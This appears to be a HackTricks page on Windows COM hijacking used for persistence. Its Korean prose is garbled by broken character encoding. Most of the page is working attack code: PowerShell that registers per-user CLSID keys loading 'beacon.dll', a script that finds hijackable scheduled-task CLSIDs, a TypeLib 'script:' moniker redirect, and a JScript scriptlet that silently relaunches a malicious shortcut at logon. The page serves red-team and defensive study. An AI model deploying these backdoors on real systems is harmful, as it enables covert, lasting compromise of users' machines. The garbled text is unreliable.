COM Hijacking
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์กด์ฌํ์ง ์๋ COM ๊ตฌ์ฑ์์ ๊ฒ์
HKCU์ ๊ฐ์ ์ฌ์ฉ์๊ฐ ์์ ํ ์ ์์ผ๋ฏ๋ก COM Hijacking์ **์๊ตฌ ์ง์ ๋ฉ์ปค๋์ฆ(persistent mechanism)**์ผ๋ก ์ฌ์ฉ๋ ์ ์์ต๋๋ค. procmon์ ์ฌ์ฉํ๋ฉด ๊ณต๊ฒฉ์๊ฐ ์ง์์ฑ์ ์ํด ์์ฑํ ์ ์๋ ์กด์ฌํ์ง ์๋ COM ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์ฝ๊ฒ ์ฐพ์ ์ ์์ต๋๋ค. ํํฐ:
- RegOpenKey ์์ .
- _Result_๊ฐ NAME NOT FOUND์ธ ํญ๋ชฉ.
- ๋ฐ _Path_๊ฐ InprocServer32๋ก ๋๋๋ ํญ๋ชฉ.
์ด๋ค ์กด์ฌํ์ง ์๋ COM์ ๊ฐ์ฅํ ์ง ๊ฒฐ์ ํ์ผ๋ฉด ๋ค์ ๋ช ๋ น์ ์คํํ์ธ์. ๋ช ์ด๋ง๋ค ๋ก๋๋๋ COM์ ๊ฐ์ฅํ๋ฉด ๊ณผ๋ํ ์ ์์ผ๋ ์ฃผ์ํ์ธ์.
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Hijackable Task Scheduler COM components
Windows Tasks๋ Custom Triggers๋ฅผ ์ฌ์ฉํด COM objects๋ฅผ ํธ์ถํ๋ฉฐ, Task Scheduler๋ฅผ ํตํด ์คํ๋๊ธฐ ๋๋ฌธ์ ์ธ์ ํธ๋ฆฌ๊ฑฐ๋ ์ง ์์ธกํ๊ธฐ๊ฐ ๋ ์ฝ์ต๋๋ค.
# Show COM CLSIDs
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
# Sample Output:
# Task Name: Example
# Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]
์ถ๋ ฅ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ๋ฉด ์๋ฅผ ๋ค์ด ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ๋๋ง๋ค ์คํ๋๋ ํญ๋ชฉ์ ์ ํํ ์ ์์ต๋๋ค.
์ด์ CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**๋ฅผ HKEY\CLASSES\ROOT\CLSID ๋ฐ HKLM๊ณผ HKCU์์ ๊ฒ์ํ๋ฉด, ์ผ๋ฐ์ ์ผ๋ก ํด๋น ๊ฐ์ด HKCU์๋ ์กด์ฌํ์ง ์๋ ๊ฒ์ ์๊ฒ ๋ฉ๋๋ค.
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\some.dll
ThreadingModel : Both
# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
๊ทธ๋ฐ ๋ค์ HKCU ์ํธ๋ฆฌ๋ฅผ ์์ฑํ๊ธฐ๋ง ํ๋ฉด ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์จํ ๋๋ง๋ค ๋น์ ์ backdoor๊ฐ ์คํ๋ฉ๋๋ค.
COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib)๋ COM ์ธํฐํ์ด์ค๋ฅผ ์ ์ํ๋ฉฐ LoadTypeLib()์ ํตํด ๋ก๋๋ฉ๋๋ค. COM ์๋ฒ๊ฐ ์ธ์คํด์คํ๋ ๋, OS๋ HKCR\TypeLib\{LIBID} ์๋์ ๋ ์ง์คํธ๋ฆฌ ํค๋ฅผ ์ฐธ์กฐํ์ฌ ์ฐ๊ด๋ TypeLib๋ฅผ ํจ๊ป ๋ก๋ํ ์ ์์ต๋๋ค. TypeLib ๊ฒฝ๋ก๊ฐ moniker, ์: script:C:\...\evil.sct๋ก ๋์ฒด๋๋ฉด TypeLib๊ฐ ํด๊ฒฐ๋ ๋ Windows๋ ์คํฌ๋ฆฝํ๋ฆฟ์ ์คํํฉ๋๋ค โ ์ผ๋ฐ์ ์ธ ๊ตฌ์ฑ ์์๊ฐ ํธ์ถ๋ ๋ ๋ฐ๋ํ๋ ์๋ฐํ persistence๋ฅผ ๋ง๋ค๊ฒ ๋ฉ๋๋ค.
์ด๊ฒ์ Microsoft Web Browser control์ ๋ํด ๊ด์ฐฐ๋์์ต๋๋ค(์์ฃผ Internet Explorer, WebBrowser๋ฅผ ์๋ฒ ๋ํ ์ฑ, ์ฌ์ง์ด explorer.exe์ ์ํด ๋ก๋๋ฉ๋๋ค).
Steps (PowerShell)
- ์์ฃผ ํธ์ถ๋๋ CLSID๊ฐ ์ฌ์ฉํ๋ TypeLib (LIBID)๋ฅผ ์๋ณํฉ๋๋ค. ์์๋ก malware chains์์ ์์ฃผ ์
์ฉ๋๋ CLSID:
{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}(Microsoft Web Browser).
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
- ์ฌ์ฉ์๋ณ TypeLib ๊ฒฝ๋ก๋ฅผ
script:๋ชจ๋์ปค๋ฅผ ์ฌ์ฉํด ๋ก์ปฌ scriptlet์ ๊ฐ๋ฆฌํค๋๋ก ์ง์ (๊ด๋ฆฌ์ ๊ถํ ๋ถํ์):
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
- ๊ธฐ๋ณธ ํ์ด๋ก๋(์: ์ด๊ธฐ ์ฒด์ธ์์ ์ฌ์ฉ๋๋
.lnk)๋ฅผ ๋ค์ ์คํํ๋ ์ต์ํ์ JScript.sct๋ฅผ ๋๋กญํฉ๋๋ค:
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
- ํธ๋ฆฌ๊ฑฐ๋ง โ IE๋ฅผ ์ด๊ฑฐ๋, WebBrowser control์ ์๋ฒ ๋ํ ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํํ๊ฑฐ๋, ๋๋ ์ผ๋ฐ์ ์ธ Explorer ํ๋๋ง์ผ๋ก๋ TypeLib๋ฅผ ๋ก๋ํ๊ณ scriptlet์ ์คํํ์ฌ logon/reboot ์ chain์ ์ฌ์ฅ์ ํฉ๋๋ค.
์ ๋ฆฌ
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
์ฐธ๊ณ
- ๋์ผํ ๋
ผ๋ฆฌ๋ฅผ ๋ค๋ฅธ ๊ณ ๋น๋ COM ๊ตฌ์ฑ์์์๋ ์ ์ฉํ ์ ์์ต๋๋ค; ํญ์ ๋จผ์
HKCR\CLSID\{CLSID}\TypeLib์์ ์ค์ LIBID๋ฅผ ํ์ธํ์ธ์. - 64๋นํธ ์์คํ
์์๋ 64๋นํธ ์๋น์๋ฅผ ์ํด
win64ํ์ ํค๋ฅผ ์ฑ์ธ ์๋ ์์ต๋๋ค.
References
- Hijack the TypeLib โ New COM persistence technique (CICADA8)
- Check Point Research โ ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


